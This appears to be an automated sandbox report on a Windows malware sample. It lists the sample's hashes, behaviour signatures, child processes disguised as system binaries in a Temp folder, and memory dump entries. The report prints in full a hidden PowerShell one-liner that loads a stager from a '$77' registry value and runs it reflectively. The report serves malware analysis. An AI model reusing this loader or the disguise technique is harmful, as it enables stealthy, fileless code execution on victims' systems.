Analysis

  • max time kernel
    9s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 14:40

General

  • Target
    1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe
  • Size 89KB
  • Sample261026-r1t6taew21
  • SHA256 1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a file named after a Windows system binary 1 TTPs 3 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 3 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe
    "C:\Users\Admin\AppData\Local\Temp\1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe" --guard 0
      2⤵
      • Executes a file named after a Windows system binary
      • Executes dropped EXE
      PID:240
    • C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe" --guard 1
      2⤵
      • Executes a file named after a Windows system binary
      • Executes dropped EXE
      PID:120
    • C:\Users\Admin\AppData\Local\Temp\taskhostw.exe
      "C:\Users\Admin\AppData\Local\Temp\taskhostw.exe" --guard 2
      2⤵
      • Executes a file named after a Windows system binary
      • Executes dropped EXE
      PID:1636
  • C:\Windows\system32\cmd.exe
    cmd.exe /c "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\$77config'); if($k){$b=$k.GetValue('$77stager');if($b){[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,$null)}} }""
    1⤵
    • Executes a command shell one-liner
    PID:988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\$77config'); if($k){$b=$k.GetValue('$77stager');if($b){[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,$null)}} }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:872

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        RuntimeBroker.exe

        • Path C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        • Size 89KB
        • SHA256 1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/120-54-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-46-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-45-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-44-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-43-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-42-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-41-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-40-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-39-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-37-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-36-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-35-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-32-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/120-31-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-25-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-17-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-18-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-19-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-20-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-21-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-22-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-23-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-24-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-53-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-26-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-27-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-29-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/240-30-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/872-49-0x00000276DED00000-0x00000276DED22000-memory.dmp

        memory/3824-34-0x00007FF843090000-0x00007FF843157000-memory.dmp

        memory/3824-38-0x00007FF841810000-0x00007FF841BB1000-memory.dmp

        memory/3824-13-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-12-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-11-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-10-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-9-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-8-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-7-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-33-0x00007FF843DE0000-0x00007FF844043000-memory.dmp

        memory/3824-6-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-5-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-4-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-3-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-2-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-14-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-51-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-52-0x00007FF820D70000-0x00007FF821714000-memory.dmp

        memory/3824-0-0x000002057DCD0000-0x000002057DCEC000-memory.dmp

        memory/3824-1-0x00007FF820EFF000-0x00007FF820F00000-memory.dmp